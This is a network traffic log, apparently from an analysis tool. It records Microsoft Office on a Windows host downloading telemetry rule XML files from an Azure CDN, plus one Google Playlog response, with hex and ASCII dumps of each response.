2024-10-29 16:59:28 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=Zx6mMjoOPA5j1Zr95SbzItmVAhsL2HCaGr0bq0UGOsSYnLKeaF_h1xB19CM5CfM5eNNGD0d44XVqWxEecycAjcYHyvZkLVGcyhmvWGQIBNDfN_tZcaOf6p7Mcdk3rg2CXJy0ciTqLFLOVPkjk_ZNa8PmBV9NNgBr9Jzlv-bSR2nIp2fvVw; expires=Wed, 30-Apr-2025 16:59:28 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 29 Oct 2024 16:59:28 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 29 Oct 2024 16:59:28 GMT Connection: close Transfer-Encoding: chunked
2024-10-29 16:59:28 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-29 16:59:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:28 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:28 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:28 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: f29ba936-801e-0047-2ef2-247265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165928Z-r197bdfb6b4gx6v9pg74w9f47s00000008xg00000000545f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:28 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:28 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:28 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:28 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165928Z-16849878b78fhxrnedubv5byks000000055000000000chuq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:28 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:28 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:28 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:28 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: e1c723a0-d01e-002b-299c-2725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165928Z-r197bdfb6b4skzzvqpzzd3xetg00000006b00000000016au x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:28 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:29 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:29 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:29 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165929Z-16849878b786lft2mu9uftf3y4000000080g00000000nfuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:29 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:29 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:29 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:29 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165929Z-15b8d89586fpccrmgpemqdqe5800000001n000000000dpdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:29 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:29 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:29 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:29 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165929Z-16849878b7898p5f6vryaqvp5800000007rg0000000027ht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:29 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:29 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:29 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:29 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165929Z-16849878b78fssff8btnns3b14000000074g000000007w9x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:29 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:29 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:29 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:29 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165929Z-15b8d89586f989rkwt13xern54000000024g000000007ng4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:29 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:29 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:30 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:29 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165929Z-16849878b786fl7gm2qg4r5y70000000072g00000000fdzd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:30 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:30 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:30 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:30 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 6b4870b1-101e-0034-5fde-2896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165930Z-r197bdfb6b4b4pw6nr8czsrctg00000007m0000000007pp8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:30 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:30 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:30 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:30 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 92f9c42c-401e-0015-6893-290e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165930Z-17c5cb586f6w4mfs5xcmnrny6n00000008hg0000000083tb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
